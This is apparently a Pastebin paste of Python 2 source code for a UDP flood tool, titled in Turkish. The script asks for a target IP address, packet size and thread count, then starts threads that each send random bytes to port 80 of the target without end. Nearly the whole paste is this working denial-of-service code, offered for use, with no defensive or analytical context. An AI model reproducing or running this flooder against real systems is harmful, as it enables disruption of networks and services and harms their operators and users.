SqLasticSoftware

UDP Flooder | Kaynak Kodu

Jan 2nd, 2016
151
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.09 KB | None | 0 0
  1. import os
  2. import socket
  3. import time
  4. import threading
  5. import sys
  6. import random
  7.  
  8. class attack(threading.Thread):
  9.        def __init__(self, ip, port, size,):
  10.            threading.Thread.__init__(self)
  11.            self.ip = ip
  12.            self.port = port
  13.            self.size = size
  14.        def run(self):
  15.            print "_________-_---_______" + self.ip + ":"
  16.            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  17.            bytes = random._urandom(self.size)
  18.            while True:
  19.                s.sendto(bytes,(self.ip, self.port))
  20.      
  21. print """
  22. ########################
  23. #                      #
  24. #    Kolsul <{v1}>     #
  25. #                      #
  26. ########################
  27. """
  28. print "\t\nEnter A Ip address"
  29. ip = raw_input(">> ")
  30. print "Enter a port range [1-6655]"
  31. port = raw_input(">> ")
  32. print "Enter a packet Size"
  33. size = raw_input(">> ")
  34. print "Please enter the amount of threads. The more the better"
  35. threads1 = raw_input(">> ")
  36. threads = threads1
  37. for host in range(int(threads)):
  38.       port = 80
  39.       attl = attack(ip, int(port), int(size))
  40.       attl.start()
Add Comment
Please, Sign In to add comment